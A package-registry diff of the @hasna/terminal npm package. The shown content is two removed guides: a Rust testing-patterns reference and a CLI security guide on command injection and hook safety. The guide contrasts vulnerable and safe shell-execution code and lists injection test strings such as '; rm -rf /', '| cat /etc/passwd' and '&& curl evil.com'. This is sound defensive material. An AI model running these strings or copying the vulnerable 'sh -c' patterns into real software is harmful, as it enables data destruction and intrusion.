@hasna/terminal 2.3.0 → 2.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/App.js +404 -0
- package/dist/Browse.js +79 -0
- package/dist/FuzzyPicker.js +47 -0
- package/dist/Onboarding.js +51 -0
- package/dist/Spinner.js +12 -0
- package/dist/StatusBar.js +49 -0
- package/dist/ai.js +322 -0
- package/dist/cache.js +41 -0
- package/dist/cli.js +64 -16
- package/dist/command-rewriter.js +64 -0
- package/dist/command-validator.js +86 -0
- package/dist/compression.js +107 -0
- package/dist/context-hints.js +275 -0
- package/dist/diff-cache.js +107 -0
- package/dist/discover.js +212 -0
- package/dist/economy.js +123 -0
- package/dist/expand-store.js +38 -0
- package/dist/file-cache.js +72 -0
- package/dist/file-index.js +62 -0
- package/dist/history.js +62 -0
- package/dist/lazy-executor.js +54 -0
- package/dist/line-dedup.js +59 -0
- package/dist/loop-detector.js +75 -0
- package/dist/mcp/install.js +98 -0
- package/dist/mcp/server.js +569 -0
- package/dist/noise-filter.js +86 -0
- package/dist/output-processor.js +129 -0
- package/dist/output-router.js +41 -0
- package/dist/output-store.js +111 -0
- package/dist/parsers/base.js +2 -0
- package/dist/parsers/build.js +64 -0
- package/dist/parsers/errors.js +101 -0
- package/dist/parsers/files.js +78 -0
- package/dist/parsers/git.js +99 -0
- package/dist/parsers/index.js +48 -0
- package/dist/parsers/tests.js +89 -0
- package/dist/providers/anthropic.js +39 -0
- package/dist/providers/base.js +4 -0
- package/dist/providers/cerebras.js +95 -0
- package/dist/providers/groq.js +95 -0
- package/dist/providers/index.js +73 -0
- package/dist/providers/xai.js +95 -0
- package/dist/recipes/model.js +20 -0
- package/dist/recipes/storage.js +136 -0
- package/dist/search/content-search.js +68 -0
- package/dist/search/file-search.js +61 -0
- package/dist/search/filters.js +34 -0
- package/dist/search/index.js +5 -0
- package/dist/search/semantic.js +320 -0
- package/dist/session-boot.js +59 -0
- package/dist/session-context.js +55 -0
- package/dist/sessions-db.js +173 -0
- package/dist/smart-display.js +286 -0
- package/dist/snapshots.js +51 -0
- package/dist/supervisor.js +112 -0
- package/dist/test-watchlist.js +131 -0
- package/dist/tool-profiles.js +122 -0
- package/dist/tree.js +94 -0
- package/dist/usage-cache.js +65 -0
- package/package.json +8 -1
- package/src/ai.ts +8 -0
- package/src/cli.tsx +57 -18
- package/src/output-processor.ts +6 -1
- package/src/output-store.ts +58 -12
- package/src/tool-profiles.ts +139 -0
- package/.claude/scheduled_tasks.lock +0 -1
- package/.github/ISSUE_TEMPLATE/bug_report.md +0 -20
- package/.github/ISSUE_TEMPLATE/feature_request.md +0 -14
- package/CONTRIBUTING.md +0 -80
- package/benchmarks/benchmark.mjs +0 -115
- package/imported_modules.txt +0 -0
- package/temp/rtk/.claude/agents/code-reviewer.md +0 -221
- package/temp/rtk/.claude/agents/debugger.md +0 -519
- package/temp/rtk/.claude/agents/rtk-testing-specialist.md +0 -461
- package/temp/rtk/.claude/agents/rust-rtk.md +0 -511
- package/temp/rtk/.claude/agents/technical-writer.md +0 -355
- package/temp/rtk/.claude/commands/diagnose.md +0 -352
- package/temp/rtk/.claude/commands/test-routing.md +0 -362
- package/temp/rtk/.claude/hooks/bash/pre-commit-format.sh +0 -16
- package/temp/rtk/.claude/hooks/rtk-rewrite.sh +0 -70
- package/temp/rtk/.claude/hooks/rtk-suggest.sh +0 -152
- package/temp/rtk/.claude/rules/cli-testing.md +0 -526
- package/temp/rtk/.claude/skills/issue-triage/SKILL.md +0 -348
- package/temp/rtk/.claude/skills/issue-triage/templates/issue-comment.md +0 -134
- package/temp/rtk/.claude/skills/performance.md +0 -435
- package/temp/rtk/.claude/skills/pr-triage/SKILL.md +0 -315
- package/temp/rtk/.claude/skills/pr-triage/templates/review-comment.md +0 -71
- package/temp/rtk/.claude/skills/repo-recap.md +0 -206
- package/temp/rtk/.claude/skills/rtk-tdd/SKILL.md +0 -78
- package/temp/rtk/.claude/skills/rtk-tdd/references/testing-patterns.md +0 -124
- package/temp/rtk/.claude/skills/security-guardian.md +0 -503
- package/temp/rtk/.claude/skills/ship.md +0 -404
- package/temp/rtk/.github/workflows/benchmark.yml +0 -34
- package/temp/rtk/.github/workflows/dco-check.yaml +0 -12
- package/temp/rtk/.github/workflows/release-please.yml +0 -51
- package/temp/rtk/.github/workflows/release.yml +0 -343
- package/temp/rtk/.github/workflows/security-check.yml +0 -135
- package/temp/rtk/.github/workflows/validate-docs.yml +0 -78
- package/temp/rtk/.release-please-manifest.json +0 -3
- package/temp/rtk/ARCHITECTURE.md +0 -1491
- package/temp/rtk/CHANGELOG.md +0 -640
- package/temp/rtk/CLAUDE.md +0 -605
- package/temp/rtk/CONTRIBUTING.md +0 -199
- package/temp/rtk/Cargo.lock +0 -1668
- package/temp/rtk/Cargo.toml +0 -64
- package/temp/rtk/Formula/rtk.rb +0 -43
- package/temp/rtk/INSTALL.md +0 -390
- package/temp/rtk/LICENSE +0 -21
- package/temp/rtk/README.md +0 -386
- package/temp/rtk/README_es.md +0 -159
- package/temp/rtk/README_fr.md +0 -197
- package/temp/rtk/README_ja.md +0 -159
- package/temp/rtk/README_ko.md +0 -159
- package/temp/rtk/README_zh.md +0 -167
- package/temp/rtk/ROADMAP.md +0 -15
- package/temp/rtk/SECURITY.md +0 -217
- package/temp/rtk/TEST_EXEC_TIME.md +0 -102
- package/temp/rtk/build.rs +0 -57
- package/temp/rtk/docs/AUDIT_GUIDE.md +0 -432
- package/temp/rtk/docs/FEATURES.md +0 -1410
- package/temp/rtk/docs/TROUBLESHOOTING.md +0 -309
- package/temp/rtk/docs/filter-workflow.md +0 -102
- package/temp/rtk/docs/images/gain-dashboard.jpg +0 -0
- package/temp/rtk/docs/tracking.md +0 -583
- package/temp/rtk/hooks/opencode-rtk.ts +0 -39
- package/temp/rtk/hooks/rtk-awareness.md +0 -29
- package/temp/rtk/hooks/rtk-rewrite.sh +0 -61
- package/temp/rtk/hooks/test-rtk-rewrite.sh +0 -442
- package/temp/rtk/install.sh +0 -124
- package/temp/rtk/release-please-config.json +0 -10
- package/temp/rtk/scripts/benchmark.sh +0 -592
- package/temp/rtk/scripts/check-installation.sh +0 -162
- package/temp/rtk/scripts/install-local.sh +0 -37
- package/temp/rtk/scripts/rtk-economics.sh +0 -137
- package/temp/rtk/scripts/test-all.sh +0 -561
- package/temp/rtk/scripts/test-aristote.sh +0 -227
- package/temp/rtk/scripts/test-tracking.sh +0 -79
- package/temp/rtk/scripts/update-readme-metrics.sh +0 -32
- package/temp/rtk/scripts/validate-docs.sh +0 -73
- package/temp/rtk/src/aws_cmd.rs +0 -880
- package/temp/rtk/src/binlog.rs +0 -1645
- package/temp/rtk/src/cargo_cmd.rs +0 -1727
- package/temp/rtk/src/cc_economics.rs +0 -1157
- package/temp/rtk/src/ccusage.rs +0 -340
- package/temp/rtk/src/config.rs +0 -187
- package/temp/rtk/src/container.rs +0 -855
- package/temp/rtk/src/curl_cmd.rs +0 -134
- package/temp/rtk/src/deps.rs +0 -268
- package/temp/rtk/src/diff_cmd.rs +0 -367
- package/temp/rtk/src/discover/mod.rs +0 -274
- package/temp/rtk/src/discover/provider.rs +0 -388
- package/temp/rtk/src/discover/registry.rs +0 -2022
- package/temp/rtk/src/discover/report.rs +0 -202
- package/temp/rtk/src/discover/rules.rs +0 -667
- package/temp/rtk/src/display_helpers.rs +0 -402
- package/temp/rtk/src/dotnet_cmd.rs +0 -1771
- package/temp/rtk/src/dotnet_format_report.rs +0 -133
- package/temp/rtk/src/dotnet_trx.rs +0 -593
- package/temp/rtk/src/env_cmd.rs +0 -204
- package/temp/rtk/src/filter.rs +0 -462
- package/temp/rtk/src/filters/README.md +0 -52
- package/temp/rtk/src/filters/ansible-playbook.toml +0 -34
- package/temp/rtk/src/filters/basedpyright.toml +0 -47
- package/temp/rtk/src/filters/biome.toml +0 -45
- package/temp/rtk/src/filters/brew-install.toml +0 -37
- package/temp/rtk/src/filters/composer-install.toml +0 -40
- package/temp/rtk/src/filters/df.toml +0 -16
- package/temp/rtk/src/filters/dotnet-build.toml +0 -64
- package/temp/rtk/src/filters/du.toml +0 -16
- package/temp/rtk/src/filters/fail2ban-client.toml +0 -15
- package/temp/rtk/src/filters/gcc.toml +0 -49
- package/temp/rtk/src/filters/gcloud.toml +0 -22
- package/temp/rtk/src/filters/hadolint.toml +0 -24
- package/temp/rtk/src/filters/helm.toml +0 -29
- package/temp/rtk/src/filters/iptables.toml +0 -27
- package/temp/rtk/src/filters/jj.toml +0 -28
- package/temp/rtk/src/filters/jq.toml +0 -24
- package/temp/rtk/src/filters/make.toml +0 -41
- package/temp/rtk/src/filters/markdownlint.toml +0 -24
- package/temp/rtk/src/filters/mix-compile.toml +0 -27
- package/temp/rtk/src/filters/mix-format.toml +0 -15
- package/temp/rtk/src/filters/mvn-build.toml +0 -44
- package/temp/rtk/src/filters/oxlint.toml +0 -43
- package/temp/rtk/src/filters/ping.toml +0 -63
- package/temp/rtk/src/filters/pio-run.toml +0 -40
- package/temp/rtk/src/filters/poetry-install.toml +0 -50
- package/temp/rtk/src/filters/pre-commit.toml +0 -35
- package/temp/rtk/src/filters/ps.toml +0 -16
- package/temp/rtk/src/filters/quarto-render.toml +0 -41
- package/temp/rtk/src/filters/rsync.toml +0 -48
- package/temp/rtk/src/filters/shellcheck.toml +0 -27
- package/temp/rtk/src/filters/shopify-theme.toml +0 -29
- package/temp/rtk/src/filters/skopeo.toml +0 -45
- package/temp/rtk/src/filters/sops.toml +0 -16
- package/temp/rtk/src/filters/ssh.toml +0 -44
- package/temp/rtk/src/filters/stat.toml +0 -34
- package/temp/rtk/src/filters/swift-build.toml +0 -41
- package/temp/rtk/src/filters/systemctl-status.toml +0 -33
- package/temp/rtk/src/filters/terraform-plan.toml +0 -35
- package/temp/rtk/src/filters/tofu-fmt.toml +0 -16
- package/temp/rtk/src/filters/tofu-init.toml +0 -38
- package/temp/rtk/src/filters/tofu-plan.toml +0 -35
- package/temp/rtk/src/filters/tofu-validate.toml +0 -17
- package/temp/rtk/src/filters/trunk-build.toml +0 -39
- package/temp/rtk/src/filters/ty.toml +0 -50
- package/temp/rtk/src/filters/uv-sync.toml +0 -37
- package/temp/rtk/src/filters/xcodebuild.toml +0 -99
- package/temp/rtk/src/filters/yamllint.toml +0 -25
- package/temp/rtk/src/find_cmd.rs +0 -598
- package/temp/rtk/src/format_cmd.rs +0 -386
- package/temp/rtk/src/gain.rs +0 -723
- package/temp/rtk/src/gh_cmd.rs +0 -1651
- package/temp/rtk/src/git.rs +0 -2012
- package/temp/rtk/src/go_cmd.rs +0 -592
- package/temp/rtk/src/golangci_cmd.rs +0 -254
- package/temp/rtk/src/grep_cmd.rs +0 -288
- package/temp/rtk/src/gt_cmd.rs +0 -810
- package/temp/rtk/src/hook_audit_cmd.rs +0 -283
- package/temp/rtk/src/hook_check.rs +0 -171
- package/temp/rtk/src/init.rs +0 -1859
- package/temp/rtk/src/integrity.rs +0 -537
- package/temp/rtk/src/json_cmd.rs +0 -231
- package/temp/rtk/src/learn/detector.rs +0 -628
- package/temp/rtk/src/learn/mod.rs +0 -119
- package/temp/rtk/src/learn/report.rs +0 -184
- package/temp/rtk/src/lint_cmd.rs +0 -694
- package/temp/rtk/src/local_llm.rs +0 -316
- package/temp/rtk/src/log_cmd.rs +0 -248
- package/temp/rtk/src/ls.rs +0 -324
- package/temp/rtk/src/main.rs +0 -2482
- package/temp/rtk/src/mypy_cmd.rs +0 -389
- package/temp/rtk/src/next_cmd.rs +0 -241
- package/temp/rtk/src/npm_cmd.rs +0 -236
- package/temp/rtk/src/parser/README.md +0 -267
- package/temp/rtk/src/parser/error.rs +0 -46
- package/temp/rtk/src/parser/formatter.rs +0 -336
- package/temp/rtk/src/parser/mod.rs +0 -311
- package/temp/rtk/src/parser/types.rs +0 -119
- package/temp/rtk/src/pip_cmd.rs +0 -302
- package/temp/rtk/src/playwright_cmd.rs +0 -479
- package/temp/rtk/src/pnpm_cmd.rs +0 -573
- package/temp/rtk/src/prettier_cmd.rs +0 -221
- package/temp/rtk/src/prisma_cmd.rs +0 -482
- package/temp/rtk/src/psql_cmd.rs +0 -382
- package/temp/rtk/src/pytest_cmd.rs +0 -384
- package/temp/rtk/src/read.rs +0 -217
- package/temp/rtk/src/rewrite_cmd.rs +0 -50
- package/temp/rtk/src/ruff_cmd.rs +0 -402
- package/temp/rtk/src/runner.rs +0 -271
- package/temp/rtk/src/summary.rs +0 -297
- package/temp/rtk/src/tee.rs +0 -405
- package/temp/rtk/src/telemetry.rs +0 -248
- package/temp/rtk/src/toml_filter.rs +0 -1655
- package/temp/rtk/src/tracking.rs +0 -1416
- package/temp/rtk/src/tree.rs +0 -209
- package/temp/rtk/src/tsc_cmd.rs +0 -259
- package/temp/rtk/src/utils.rs +0 -432
- package/temp/rtk/src/verify_cmd.rs +0 -47
- package/temp/rtk/src/vitest_cmd.rs +0 -385
- package/temp/rtk/src/wc_cmd.rs +0 -401
- package/temp/rtk/src/wget_cmd.rs +0 -260
- package/temp/rtk/tests/fixtures/dotnet/build_failed.txt +0 -11
- package/temp/rtk/tests/fixtures/dotnet/format_changes.json +0 -31
- package/temp/rtk/tests/fixtures/dotnet/format_empty.json +0 -1
- package/temp/rtk/tests/fixtures/dotnet/format_success.json +0 -12
- package/temp/rtk/tests/fixtures/dotnet/test_failed.txt +0 -18
- package/tsconfig.json +0 -15
|
@@ -1,124 +0,0 @@
|
|
|
1
|
-
# RTK Testing Patterns Reference
|
|
2
|
-
|
|
3
|
-
## Untested Modules Backlog
|
|
4
|
-
|
|
5
|
-
Prioritized by testability (pure functions first, I/O-heavy last).
|
|
6
|
-
|
|
7
|
-
### High Priority (pure functions, trivial to test)
|
|
8
|
-
|
|
9
|
-
| Module | Testable Functions | Notes |
|
|
10
|
-
|--------|-------------------|-------|
|
|
11
|
-
| `diff_cmd.rs` | `compute_diff`, `similarity`, `truncate`, `condense_unified_diff` | 4 pure functions, 0 tests |
|
|
12
|
-
| `env_cmd.rs` | `mask_value`, `is_lang_var`, `is_cloud_var`, `is_tool_var`, `is_interesting_var` | 5 categorization functions |
|
|
13
|
-
|
|
14
|
-
### Medium Priority (need tempfile or parsed input)
|
|
15
|
-
|
|
16
|
-
| Module | Testable Functions | Notes |
|
|
17
|
-
|--------|-------------------|-------|
|
|
18
|
-
| `tracking.rs` | `estimate_tokens`, `Tracker::new`, query methods | Use tempfile for SQLite |
|
|
19
|
-
| `config.rs` | `Config::default`, config parsing | Test default values and TOML parsing |
|
|
20
|
-
| `deps.rs` | Dependency file parsing | Test with sample Cargo.toml/package.json strings |
|
|
21
|
-
| `summary.rs` | Output type detection heuristics | Pure string analysis |
|
|
22
|
-
|
|
23
|
-
### Low Priority (heavy I/O, CLI wiring)
|
|
24
|
-
|
|
25
|
-
| Module | Testable Functions | Notes |
|
|
26
|
-
|--------|-------------------|-------|
|
|
27
|
-
| `container.rs` | Docker/kubectl output filters | Requires mocking Command output |
|
|
28
|
-
| `find_cmd.rs` | Directory grouping logic | Filesystem-dependent |
|
|
29
|
-
| `wget_cmd.rs` | `compact_url`, `format_size`, `truncate_line`, `extract_filename_from_output` | Some pure helpers worth testing |
|
|
30
|
-
| `gain.rs` | Display formatting | Depends on tracking DB |
|
|
31
|
-
| `init.rs` | CLAUDE.md generation | File I/O |
|
|
32
|
-
| `main.rs` | CLI routing | Covered by smoke tests |
|
|
33
|
-
|
|
34
|
-
## RTK Test Patterns
|
|
35
|
-
|
|
36
|
-
### Pattern 1: Filter Function (most common in RTK)
|
|
37
|
-
|
|
38
|
-
```rust
|
|
39
|
-
#[test]
|
|
40
|
-
fn test_FILTER_happy_path() {
|
|
41
|
-
// Arrange: raw command output as string literal
|
|
42
|
-
let input = r#"
|
|
43
|
-
line of noise
|
|
44
|
-
line with relevant data
|
|
45
|
-
more noise
|
|
46
|
-
"#;
|
|
47
|
-
// Act
|
|
48
|
-
let result = filter_COMMAND(input);
|
|
49
|
-
// Assert: output contains expected, excludes noise
|
|
50
|
-
assert!(result.contains("relevant data"));
|
|
51
|
-
assert!(!result.contains("noise"));
|
|
52
|
-
}
|
|
53
|
-
```
|
|
54
|
-
|
|
55
|
-
Used in: `git.rs`, `grep_cmd.rs`, `lint_cmd.rs`, `tsc_cmd.rs`, `vitest_cmd.rs`, `pnpm_cmd.rs`, `next_cmd.rs`, `prettier_cmd.rs`, `playwright_cmd.rs`, `prisma_cmd.rs`
|
|
56
|
-
|
|
57
|
-
### Pattern 2: Pure Computation
|
|
58
|
-
|
|
59
|
-
```rust
|
|
60
|
-
#[test]
|
|
61
|
-
fn test_FUNCTION_deterministic() {
|
|
62
|
-
assert_eq!(truncate("hello world", 8), "hello...");
|
|
63
|
-
assert_eq!(truncate("short", 10), "short");
|
|
64
|
-
}
|
|
65
|
-
```
|
|
66
|
-
|
|
67
|
-
Used in: `gh_cmd.rs` (`truncate`), `utils.rs` (`truncate`, `format_tokens`, `format_usd`)
|
|
68
|
-
|
|
69
|
-
### Pattern 3: Validation / Security
|
|
70
|
-
|
|
71
|
-
```rust
|
|
72
|
-
#[test]
|
|
73
|
-
fn test_VALIDATOR_rejects_injection() {
|
|
74
|
-
assert!(!is_valid("malicious; rm -rf /"));
|
|
75
|
-
assert!(!is_valid("../../../etc/passwd"));
|
|
76
|
-
}
|
|
77
|
-
```
|
|
78
|
-
|
|
79
|
-
Used in: `pnpm_cmd.rs` (`is_valid_package_name`)
|
|
80
|
-
|
|
81
|
-
### Pattern 4: ANSI Stripping
|
|
82
|
-
|
|
83
|
-
```rust
|
|
84
|
-
#[test]
|
|
85
|
-
fn test_strip_ansi() {
|
|
86
|
-
let input = "\x1b[32mgreen\x1b[0m normal";
|
|
87
|
-
let output = strip_ansi(input);
|
|
88
|
-
assert_eq!(output, "green normal");
|
|
89
|
-
assert!(!output.contains("\x1b["));
|
|
90
|
-
}
|
|
91
|
-
```
|
|
92
|
-
|
|
93
|
-
Used in: `vitest_cmd.rs`, `utils.rs`
|
|
94
|
-
|
|
95
|
-
## Test Skeleton Template
|
|
96
|
-
|
|
97
|
-
```rust
|
|
98
|
-
#[cfg(test)]
|
|
99
|
-
mod tests {
|
|
100
|
-
use super::*;
|
|
101
|
-
|
|
102
|
-
#[test]
|
|
103
|
-
fn test_FUNCTION_happy_path() {
|
|
104
|
-
// Arrange
|
|
105
|
-
let input = r#"..."#;
|
|
106
|
-
// Act
|
|
107
|
-
let result = FUNCTION(input);
|
|
108
|
-
// Assert
|
|
109
|
-
assert!(result.contains("expected"));
|
|
110
|
-
assert!(!result.contains("noise"));
|
|
111
|
-
}
|
|
112
|
-
|
|
113
|
-
#[test]
|
|
114
|
-
fn test_FUNCTION_empty_input() {
|
|
115
|
-
let result = FUNCTION("");
|
|
116
|
-
assert!(...);
|
|
117
|
-
}
|
|
118
|
-
|
|
119
|
-
#[test]
|
|
120
|
-
fn test_FUNCTION_edge_case() {
|
|
121
|
-
// Boundary conditions: very long input, special chars, unicode
|
|
122
|
-
}
|
|
123
|
-
}
|
|
124
|
-
```
|
|
@@ -1,503 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
description: CLI security expert for RTK - command injection, shell escaping, hook security
|
|
3
|
-
---
|
|
4
|
-
|
|
5
|
-
# Security Guardian
|
|
6
|
-
|
|
7
|
-
Comprehensive security analysis for RTK CLI tool, focusing on **command injection**, **shell escaping**, **hook security**, and **malicious input handling**.
|
|
8
|
-
|
|
9
|
-
## When to Use
|
|
10
|
-
|
|
11
|
-
- **Automatically triggered**: After filter changes, shell command execution logic, hook modifications
|
|
12
|
-
- **Manual invocation**: Before release, after security-sensitive code changes
|
|
13
|
-
- **Proactive**: When handling user input, executing shell commands, or parsing untrusted output
|
|
14
|
-
|
|
15
|
-
## RTK Security Threat Model
|
|
16
|
-
|
|
17
|
-
RTK faces unique security challenges as a CLI proxy that:
|
|
18
|
-
1. **Executes shell commands** based on user input
|
|
19
|
-
2. **Parses untrusted command output** (git, cargo, gh, etc.)
|
|
20
|
-
3. **Integrates with Claude Code hooks** (rtk-rewrite.sh, rtk-suggest.sh)
|
|
21
|
-
4. **Routes commands transparently** (command injection vectors)
|
|
22
|
-
|
|
23
|
-
### Threat Categories
|
|
24
|
-
|
|
25
|
-
| Threat | Severity | Impact | Mitigation |
|
|
26
|
-
|--------|----------|--------|------------|
|
|
27
|
-
| **Command Injection** | 🔴 CRITICAL | Remote code execution | Input validation, shell escaping |
|
|
28
|
-
| **Shell Escaping** | 🔴 CRITICAL | Arbitrary command execution | Platform-specific escaping |
|
|
29
|
-
| **Hook Injection** | 🟡 HIGH | Hook hijacking, command interception | Permission checks, signature validation |
|
|
30
|
-
| **Malicious Output** | 🟡 MEDIUM | RTK crash, DoS | Robust parsing, error handling |
|
|
31
|
-
| **Path Traversal** | 🟢 LOW | File access outside filters/ | Path sanitization |
|
|
32
|
-
|
|
33
|
-
## Security Analysis Workflow
|
|
34
|
-
|
|
35
|
-
### 1. Threat Identification
|
|
36
|
-
|
|
37
|
-
**Questions to ask** for every code change:
|
|
38
|
-
|
|
39
|
-
```
|
|
40
|
-
Input Validation:
|
|
41
|
-
- Does this code accept user input?
|
|
42
|
-
- Is the input validated before use?
|
|
43
|
-
- Can special characters (;, |, &, $, `, \, etc.) cause issues?
|
|
44
|
-
|
|
45
|
-
Shell Execution:
|
|
46
|
-
- Does this code execute shell commands?
|
|
47
|
-
- Are command arguments properly escaped?
|
|
48
|
-
- Is std::process::Command used (safe) or shell=true (dangerous)?
|
|
49
|
-
|
|
50
|
-
Output Parsing:
|
|
51
|
-
- Does this code parse external command output?
|
|
52
|
-
- Can malformed output cause panics or crashes?
|
|
53
|
-
- Are regex patterns tested against malicious input?
|
|
54
|
-
|
|
55
|
-
Hook Integration:
|
|
56
|
-
- Does this code modify hooks?
|
|
57
|
-
- Are hook permissions validated (executable bit)?
|
|
58
|
-
- Is hook source code integrity checked?
|
|
59
|
-
```
|
|
60
|
-
|
|
61
|
-
### 2. Code Audit Patterns
|
|
62
|
-
|
|
63
|
-
**Command Injection Detection**:
|
|
64
|
-
|
|
65
|
-
```rust
|
|
66
|
-
// 🔴 CRITICAL: Shell injection vulnerability
|
|
67
|
-
let user_input = env::args().nth(1).unwrap();
|
|
68
|
-
let cmd = format!("git log {}", user_input); // DANGEROUS!
|
|
69
|
-
std::process::Command::new("sh")
|
|
70
|
-
.arg("-c")
|
|
71
|
-
.arg(&cmd) // Attacker can inject: `; rm -rf /`
|
|
72
|
-
.spawn();
|
|
73
|
-
|
|
74
|
-
// ✅ SAFE: Use Command builder, not shell
|
|
75
|
-
use std::process::Command;
|
|
76
|
-
|
|
77
|
-
let user_input = env::args().nth(1).unwrap();
|
|
78
|
-
Command::new("git")
|
|
79
|
-
.arg("log")
|
|
80
|
-
.arg(&user_input) // Safely passed as argument, not interpreted by shell
|
|
81
|
-
.spawn();
|
|
82
|
-
```
|
|
83
|
-
|
|
84
|
-
**Shell Escaping Vulnerability**:
|
|
85
|
-
|
|
86
|
-
```rust
|
|
87
|
-
// 🔴 CRITICAL: No escaping for special chars
|
|
88
|
-
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
|
|
89
|
-
let full_cmd = format!("{} {}", cmd, args.join(" "));
|
|
90
|
-
Command::new("sh")
|
|
91
|
-
.arg("-c")
|
|
92
|
-
.arg(&full_cmd) // DANGEROUS: args not escaped
|
|
93
|
-
.output()
|
|
94
|
-
}
|
|
95
|
-
|
|
96
|
-
// ✅ SAFE: Use Command builder, automatic escaping
|
|
97
|
-
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
|
|
98
|
-
Command::new(cmd)
|
|
99
|
-
.args(args) // Safely escaped by Command API
|
|
100
|
-
.output()
|
|
101
|
-
}
|
|
102
|
-
```
|
|
103
|
-
|
|
104
|
-
**Malicious Output Handling**:
|
|
105
|
-
|
|
106
|
-
```rust
|
|
107
|
-
// 🔴 CRITICAL: Panic on unexpected output
|
|
108
|
-
fn filter_git_log(input: &str) -> String {
|
|
109
|
-
let first_line = input.lines().next().unwrap(); // Panic if empty!
|
|
110
|
-
let hash = &first_line[7..47]; // Panic if line too short!
|
|
111
|
-
hash.to_string()
|
|
112
|
-
}
|
|
113
|
-
|
|
114
|
-
// ✅ SAFE: Graceful error handling
|
|
115
|
-
fn filter_git_log(input: &str) -> Result<String> {
|
|
116
|
-
let first_line = input.lines().next()
|
|
117
|
-
.ok_or_else(|| anyhow::anyhow!("Empty input"))?;
|
|
118
|
-
|
|
119
|
-
if first_line.len() < 47 {
|
|
120
|
-
bail!("Invalid git log format");
|
|
121
|
-
}
|
|
122
|
-
|
|
123
|
-
Ok(first_line[7..47].to_string())
|
|
124
|
-
}
|
|
125
|
-
```
|
|
126
|
-
|
|
127
|
-
**Hook Injection Prevention**:
|
|
128
|
-
|
|
129
|
-
```bash
|
|
130
|
-
# 🔴 CRITICAL: Hook not checking source
|
|
131
|
-
#!/bin/bash
|
|
132
|
-
# rtk-rewrite.sh
|
|
133
|
-
|
|
134
|
-
# Execute command without validation
|
|
135
|
-
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEROUS!
|
|
136
|
-
|
|
137
|
-
# ✅ SAFE: Validate hook environment
|
|
138
|
-
#!/bin/bash
|
|
139
|
-
# rtk-rewrite.sh
|
|
140
|
-
|
|
141
|
-
# Verify running in Claude Code context
|
|
142
|
-
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
|
|
143
|
-
echo "Error: Not running in Claude Code context"
|
|
144
|
-
exit 1
|
|
145
|
-
fi
|
|
146
|
-
|
|
147
|
-
# Validate RTK binary exists and is executable
|
|
148
|
-
if ! command -v rtk >/dev/null 2>&1; then
|
|
149
|
-
echo "Error: rtk binary not found"
|
|
150
|
-
exit 1
|
|
151
|
-
fi
|
|
152
|
-
|
|
153
|
-
# Execute with explicit path (no PATH hijacking)
|
|
154
|
-
/usr/local/bin/rtk "$@"
|
|
155
|
-
```
|
|
156
|
-
|
|
157
|
-
### 3. Security Testing
|
|
158
|
-
|
|
159
|
-
**Command Injection Tests**:
|
|
160
|
-
|
|
161
|
-
```rust
|
|
162
|
-
#[cfg(test)]
|
|
163
|
-
mod security_tests {
|
|
164
|
-
use super::*;
|
|
165
|
-
|
|
166
|
-
#[test]
|
|
167
|
-
fn test_command_injection_defense() {
|
|
168
|
-
// Malicious input: attempt shell injection
|
|
169
|
-
let malicious_inputs = vec![
|
|
170
|
-
"; rm -rf /",
|
|
171
|
-
"| cat /etc/passwd",
|
|
172
|
-
"$(whoami)",
|
|
173
|
-
"`id`",
|
|
174
|
-
"&& curl evil.com",
|
|
175
|
-
];
|
|
176
|
-
|
|
177
|
-
for input in malicious_inputs {
|
|
178
|
-
// Should NOT execute injected commands
|
|
179
|
-
let result = execute_command("git", &["log", input]);
|
|
180
|
-
|
|
181
|
-
// Either:
|
|
182
|
-
// 1. Returns error (command fails safely), OR
|
|
183
|
-
// 2. Treats input as literal string (no shell interpretation)
|
|
184
|
-
// Both acceptable - just don't execute injection!
|
|
185
|
-
}
|
|
186
|
-
}
|
|
187
|
-
|
|
188
|
-
#[test]
|
|
189
|
-
fn test_shell_escaping() {
|
|
190
|
-
// Special characters that need escaping
|
|
191
|
-
let special_chars = vec![
|
|
192
|
-
";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
|
|
193
|
-
];
|
|
194
|
-
|
|
195
|
-
for char in special_chars {
|
|
196
|
-
let arg = format!("test{}value", char);
|
|
197
|
-
let escaped = escape_for_shell(&arg);
|
|
198
|
-
|
|
199
|
-
// Escaped version should NOT be interpreted by shell
|
|
200
|
-
assert!(!escaped.contains(char) || escaped.contains('\\'));
|
|
201
|
-
}
|
|
202
|
-
}
|
|
203
|
-
}
|
|
204
|
-
```
|
|
205
|
-
|
|
206
|
-
**Malicious Output Tests**:
|
|
207
|
-
|
|
208
|
-
```rust
|
|
209
|
-
#[test]
|
|
210
|
-
fn test_malicious_output_handling() {
|
|
211
|
-
// Malformed outputs that could crash RTK
|
|
212
|
-
let malicious_outputs = vec![
|
|
213
|
-
"", // Empty
|
|
214
|
-
"\n\n\n", // Only newlines
|
|
215
|
-
"x".repeat(1_000_000), // 1MB of 'x' (memory exhaustion)
|
|
216
|
-
"\x00\x01\x02", // Binary data
|
|
217
|
-
"\u{FFFD}".repeat(1000), // Unicode replacement chars
|
|
218
|
-
];
|
|
219
|
-
|
|
220
|
-
for output in malicious_outputs {
|
|
221
|
-
let result = filter_git_log(&output);
|
|
222
|
-
|
|
223
|
-
// Should either:
|
|
224
|
-
// 1. Return Ok with filtered output, OR
|
|
225
|
-
// 2. Return Err (graceful failure)
|
|
226
|
-
// Both acceptable - just don't panic!
|
|
227
|
-
assert!(result.is_ok() || result.is_err());
|
|
228
|
-
}
|
|
229
|
-
}
|
|
230
|
-
```
|
|
231
|
-
|
|
232
|
-
## Security Vulnerabilities Checklist
|
|
233
|
-
|
|
234
|
-
### Command Injection (🔴 Critical)
|
|
235
|
-
|
|
236
|
-
- [ ] **No shell=true**: Never use `.arg("-c")` with user input
|
|
237
|
-
- [ ] **Command builder**: Use `std::process::Command` API (not shell strings)
|
|
238
|
-
- [ ] **Input validation**: Validate/sanitize before command execution
|
|
239
|
-
- [ ] **Whitelist approach**: Only allow known-safe commands
|
|
240
|
-
|
|
241
|
-
**Detection**:
|
|
242
|
-
```bash
|
|
243
|
-
# Find dangerous shell execution
|
|
244
|
-
rg "\.arg\(\"-c\"\)" --type rust src/
|
|
245
|
-
rg "std::process::Command::new\(\"sh\"\)" --type rust src/
|
|
246
|
-
